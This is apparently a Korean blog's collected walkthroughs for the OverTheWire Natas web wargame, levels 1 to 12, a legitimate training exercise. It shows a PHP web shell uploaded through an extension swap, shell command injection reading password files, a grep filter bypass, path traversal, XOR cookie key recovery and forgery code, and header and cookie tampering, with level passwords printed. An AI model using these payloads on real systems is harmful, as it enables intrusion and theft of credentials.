<?  


function genRandomString() { 

    $length = 10; 

    $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; 

    $string = "";     


    for ($p = 0; $p < $length; $p++) { 

        $string .= $characters[mt_rand(0, strlen($characters)-1)]; 

    } 


    return $string; 


function makeRandomPath($dir, $ext) { 

    do { 

    $path = $dir."/".genRandomString().".".$ext; 

    } while(file_exists($path)); 

    return $path; 


function makeRandomPathFromFilename($dir, $fn) { 

    $ext = pathinfo($fn, PATHINFO_EXTENSION); 

    return makeRandomPath($dir, $ext); 


if(array_key_exists("filename", $_POST)) { 

    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 



        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 

        echo "File is too big"; 

    } else { 

        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 

            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 

        } else{ 

            echo "There was an error uploading the file, please try again!"; 

        } 

    } 

} else { 

?> 



<form enctype="multipart/form-data" action="index.php" method="POST"> 

<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> 

<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> 

Choose a JPEG to upload (max 1KB):<br/> 

<input name="uploadedfile" type="file" /><br /> 

<input type="submit" value="Upload File" /> 

</form> 

<? } ?> 


소스를 분석해보면 모든 파일이 이름도 무작위로 바뀌고 확장자도 jpg로 바뀌는걸 확인 할 수 있었다

그래서 프록시를 통해 jpg를 php 파일로 바꿔주고 업로드 한다 



php  파일은 비밀번호가 바로 출력되게 하였다


<?php


system("cat /etc/natas_webpass/natas13");

?>


jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

NATAS11





현재 기본 데이터의 값은 위와 같다.

 if($data["showpassword"] == "yes") {

    print "The password for natas12 is <censored><br>";
}

data["showpassword"]의 값이 yes이면 패스워드가 출력될 것이다.

 function saveData($d) {

    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

쿠키는 위의 함수에 의해 생성된다.

 function xor_encrypt($in) {

    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

XOR 암호화 함수는 위와 같이 정의되어 있다..

data["showpassword"]의 값을 yes로 주기 위해서 먼저 key의 값을 알아내야 한다.

 

setcookie("data", base64_encode(xor_encrypt(json_encode($d))));

쿠키 생성을 위한 함수의 실행 순서는 다음과 같다.

json_encode() -> xor_encrypt() -> base64_encode()

=> base64_decode()의 반환 값과 key를 XOR 연산하면 json_encode()의 반환 값이 나올 것이다.

 

★ XOR 연산(^)의 특징

A^B=C

A^C=B

-> 이 특징을 통해서

base64_decode()의 반환 값과 json_encode()의 반환 값을 XOR 연산하면 key 값이 나온다는 것을 알 수 있다.

 

개발자 도구에서 setcookie()에 의해 생성된 쿠키의 값을 확인하고 key를 구하기 위한 PHP 코드를 작성했다.


코드 //(키 값 구하는 코드) 

<?php

$defaultdata = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));

$cookie = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=");


function xor_encrypt($in, $cookie) {

    $key = $cookie;

    $text = $in;

    $outText = '';


    for($i=0;$i<strlen($text);$i++) {

        $outText .= $text[$i] ^ $key[$i % strlen($key)];

    }


    return $outText;

}


print xor_encrypt($defaultdata, $cookie);


?>


쿠키값 구하는 코드 

   <?php

$defaultdata = json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"));


function xor_encrypt($in) {

    $key = qw8J;

    $text = $in;

    $outText = '';


    for($i=0;$i<strlen($text);$i++) {

        $outText .= $text[$i] ^ $key[$i % strlen($key)];

    }

    return $outText;

}

print base64_encode(xor_encrypt($defaultdata));

?>



NATAS10


소스 코드를 확인해보면



9번이랑 비슷한 문제인데. preg_match로 다중 명령어를 쓸 수 있는 값들을 막아두었다.


일반적으로 명령어를 실행하는 방법을 잘 생각해보면 리눅스 쉘에서 지원하지 않더라도 명령어를 구분할 수 있다.

grep -i ^ /etc/natas_webpass/natas11 dictionary.txt



U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK


source 또는. 은 후행 되어 오는 파일을 읽어서 파일 속의 내용을 실행하는 역할을 한다.


즉. source로 실행할 파일 내에는 bash에서 사용할 수 있는 명령을 사용하는데


만약 bash에서 사용할 수 없는 명령을 사용할 경우 에러 메시지를 띄우면서 종료된다.

NATAS9



우선 소스코드를 확인해 보니까



KEY 값을 입력하면 dictionary.txt 에서 grep 명령어를 이용해서 key 값에 해당하는 문자열을 출력해주는 구조이다


만약 a를 입력하면 



이런 식으로 a가 들어간 모든 단어를 출력하는 명령어이다.




우리는 이 명령어를 통해서 /etc/natas_webpass/natas10 파일에 접근해야 한다.




리눅스는 명령어 안에 명령어를 사용할 수 있으니까.


!다중 명령어: &&,||,;... 중 하나를 이용해서 문제를 풀었다.



;cat /etc/natas_webpass/natas10 입력해보니 답이 출력되었다.







NATAS 8번



INPUT SECRET 에 값을 넣으면 정답이 출력되는것 같다.


우선 소스코드를 확인해보니





A라는 값이 들어와서 64베이스 인코드를 하고 strrev 함수로 한번 뒤집고 bin2hex 함수로 16진수를 만든게 

3d3d516343746d4d6d6c315669563362 값이다.



이제 역순으로 하면 3d3d516343746d4d6d6c315669563362 를 일반 으로 바꾸고 

==QcCtmMml1ViV3b strrev 함수로 한번 뒤집고b3ViV1lmMmtCcQ==  64베이스 디코드 하면 값이 나온다 ->oubWYf2kBq



입력해주고 넣어주면 끝



W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl



natas7




당장 확인할 수 있는 소스코드도 없고 입력창도 없다



여기서 알아둬야할 사전 지식은 

natas의 모든 비밀번호는 



 All passwords are also stored in /etc/natas_webpass  이 파일에 존재한다




그래서 파라미터를 조작할수 있는 page 변수에 page=/etc/natas_webpass/natas8 파일 경로를 입력해보니 값이 출력 되었다




'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] level8->level9  (0) 2018.01.17
overthewire.org[natas] level7->level8  (0) 2018.01.17
overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05

natas6




소스코드에 secret을 입력하면 비밀번호가 나오는거 같다 

옆에 친절하게 View sourcecode 가 있어서 클릭해 보았더니


한번더 친절하게 include 함수를 통해 파일경로를 알려줬다.






알려준 파일경로 /includes/secret.inc 를 접속해 보면 




secret 값이 출력되고  값을 직접 입력하니까 비밀번호가 출력되었다















'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] level7->level8  (0) 2018.01.17
overthewire.org[natas] level6->level7  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04

natas 5




접근 권한이 없어 로그인 할수 가 없다고한다

loggedin=0 을 1로 수정해주면 답이 출력된다







loggedin=1로 변조해준다.







'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] level6->level7  (0) 2018.01.05
overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve1->leve2  (0) 2018.01.04

natas4



문제가 http://natas5.natas.labs.overthewire.org/ 여기에서 온것만 인증해준다고 한다


버프스위트를 통해서 Referer 값만 조작해주면 값이 출력된다 










'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve1->leve2  (0) 2018.01.04
overthewire.org[natas] leve0->leve1  (0) 2018.01.04

NATAS3



역시나 아무것도 출력이 안된다고 한다.


숨겨진 파일이 있나 소스보기를 통해 검색해봤더니


이번엔 아무 힌트, 파일도 없었다.



robots.txt 파일을 살펴볼 필요가 있다


robots.txt란?


  robots.txt는 로봇 배제 규약(robots exclusion protocol) 혹은 robots.txt 규약(robots.txt protocol)으로 알려진 규약으로서 웹 크롤러(Web Crawlers)에게 해당 웹사이트에 대한 크롤링 지침을 전달하기 위한 용도로 사용됩니다.





 위에서 작성한 것처럼 robots.txt 자체는 보안과 별로 관련이 없다는 것을 알 수 있습니다. 다만 접근 제어를 실수했을 경우를 대비해서 검색결과에 누출되는 등과 같은 광범위한 누출을 방지하기 위해서 작성해 놓아도 무방할 듯 합니다. 하지만 그 내용은 공개되지 않는 영역의 구조를 파악할 수 없도록 잘 확인해야 합니다. 혹은 META 태그를 이용하여 해당 페이지에 직접 기술하는 방법도 유용할 듯 합니다.



출처: http://reiphiel.tistory.com/entry/robotstxt-security [레이피엘의 블로그]




접속해서 경로를 확인한 뒤 







비밀번호를 확인할 수 있다.





'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve1->leve2  (0) 2018.01.04
overthewire.org[natas] leve0->leve1  (0) 2018.01.04

NATAS2


접속하니까 아무페이지도 출력되지 않는다고 나온다. 웹 페이지의 소스를 확인해서 정보를 찾았더니 


눈에는 보이지 않는 이미지 파일이 있는걸 확인할 수 있었다,


파일의 경로를 확인해보니까 files안에 이미지 파일이 존재했다 


files 디렉토리를 직접 접근이 가능해 안에 파일을 확인해보니까 users.txt에 비밀번호가 숨겨져 있었다




'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve0->leve1  (0) 2018.01.04


NATAS1


natas1 번은 우클릭이 막혀있는 웹 페이지 이다

페이지 소스보기를 하지 못하게 막아둔거 같으니까 F12를 통해 개발자 도구를 들어간다. 


주석 처리된 비밀번호를 확인할 수 있다.!

비밀번호:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mB


'WARGAME > NATAS' 카테고리의 다른 글

overthewire.org[natas] leve5->leve6  (0) 2018.01.05
overthewire.org[natas] leve4->leve5  (0) 2018.01.05
overthewire.org[natas] leve3->leve4  (0) 2018.01.05
overthewire.org[natas] leve2->leve3  (0) 2018.01.04
overthewire.org[natas] leve1->leve2  (0) 2018.01.04

+ Recent posts